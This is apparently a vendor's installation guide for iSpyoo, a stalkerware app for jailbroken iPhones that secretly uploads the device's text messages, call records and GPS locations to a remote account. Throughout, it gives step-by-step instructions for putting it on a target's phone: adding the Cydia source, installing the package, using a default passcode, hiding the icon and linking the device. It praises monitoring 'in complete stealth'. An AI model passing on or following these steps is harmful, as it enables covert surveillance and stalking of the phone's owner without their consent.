You Can Follow these steps:
How to install iSpyoo Spy iPhone
iSpyoo Spy iPhone is the leading spy software for the iPhone, iPad and iPod. For anyone who wants to monitor text messages, call information and GPS locations of their Apple iPhone in complete stealth, this software does the job. The phone must have a data plan & an Internet connection so the iSpyoo software can upload logs to your account. iSpyoo Spy iPhone is the world’s first and best iPhone spy software!
*** All iPhones, iPads and iPods MUST be jailbroken prior to installing iSpyoo. You cannot download or install iSpyoo if the iPhone is not jailbroken. Please see the Additional Requirements about jailbreaking. ***
DOWNLOAD AND INSTALL:
Step 1: Launch Cydia application from your device.
From your Springboard of device which phone you want to track, find icon Cydia and tap to launch it.
Picture: Launch Cydia to install free mobile spy
Step 2: Add source iphone.iSpyoo.com to Cydia
If you entered the correct URL, verification and updating sources process will start.
Wait for the URL verification and updating sources processes to finish.
If the above mentioned processes complete successfully, that means the download is complete
Select Return to Cydia to go back to the Cydia App
Step 3: Choose package iSpyoo from source to install.
After sllecting Return to Cydia after downloading is complete will take you back to the Sources screen.
Once you are here, select iSpyoo to see package iSpyoo (Find out the truth with cell phone).
Step 4: Install and Complete
When you tap the package, you will see Install button, click it and click Complete button to complete this installation.
If the device asks you to Restart Springboard and you are asked about passcode, then you should enter a secret passcode: 2013 to bypass. Remember that this default passcode is available for short time, or when the device still shows iSpyoo icon on Springboard. If not (you have hided icon iSpyoo), the passcode is not available any more.
CREATE ACCOUNT AND LINK DEVICE TO ACCOUNT:
You can create a free account of iSpyoo with 2 methods:
1) create on website http://my.iSpyoo.com/signup.aspx.
But you must do an authentication (login) with your account (user name and password)
on target device in order to link your account with device. OR
2) create the account on your target phone. This method will authenticate for you (no need to do an action login).